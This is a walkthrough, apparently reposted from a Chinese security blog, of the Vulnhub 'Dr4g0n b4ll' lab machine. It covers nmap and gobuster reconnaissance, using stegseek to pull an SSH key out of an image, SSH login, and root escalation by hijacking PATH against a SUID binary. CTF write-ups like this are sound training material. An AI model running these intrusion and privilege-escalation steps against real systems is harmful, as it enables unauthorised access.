【Vulnhub系列靶场】Vulnhub_Dr4g0n_b4ll靶场渗透
原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)
一、环境搭建
选择打开.ovf 文件
配置名称和路径
打开后调整网络连接模式为【NAT】即可
二、信息收集
1、主机发现
nmap.exe -sn 192.168.31.*
2、端口扫描
1、快速粗略的端口扫描
nmap.exe -F 192.168.31.65
![image-20240224135148134](https://img-blog.csdnimg.cn/img_convert/bf6bb1bd098068f847bd897313b8d7ee.png)
2、详细端口扫描
nmap.exe -sT --min-rate 10000 -p- 192.168.31.65
nmap.exe -sU --min-rate 10000 -p- 192.168.31.65
3、详细扫描和漏洞探测
nmap.exe -sV -A -p22,80 192.168.31.65
nmap.exe --script=vuln -p22,80 192.168.31.65
只发现了一个robots.txt 的文件
3、web 目录探测
gobuster.exe dir -u http://192.168.31.65 -w d:\theperson\dirs\dicc.txt -b 404,403 --no-error
4、web 框架探测
whatweb http://192.168.31.65
三、获取shell立足点
1、查看敏感信息
1、主页
2、robots.txt 文件
![image-20240224140817155](https://img-blog.csdnimg.cn/img_convert/dfc7ebe84c85debdadb33c544e99dc3d.png)
进行base64解码:
![image-20240224140957715](https://img-blog.csdnimg.cn/img_convert/faa2544e69dd3bef18d6c5bea0f72111.png)
3、源代码
![image-20240224141448789](https://img-blog.csdnimg.cn/img_convert/a6fd778454fedea79456057e92f3a641.png)
2、DRAGON BALL目录信息
1、secret.txt 文件
保存下来做目录爆破
并无收获
2、Vulnhub 目录
3、Vulnhub/login.html:是一个虚假的登录页面
4、aj.jpg:一张黑客的图片
3、图片信息提取
提取图片隐写信息
stegseek aj.jpg /usr/share/wordlists/rockyou.txt
![image-20240224150532499](https://img-blog.csdnimg.cn/img_convert/e784f142318f14d555684bc718362a9d.png)
4、获取shell 立足点
此时拿到一个ssh密钥,欠缺用户名,此处的xmen 是用户名
我们直接用密钥进行登录
ssh xmen@192.168.31.65 -i id_rsa
成功拿到shell
四、提权至root
1、查看敏感文件
shell 是一个suid权限,发现可以执行环境变量中的ps 命令,那么可以尝试用环境变量劫持来提权
2、提权至root
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd ~/script
./script
原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)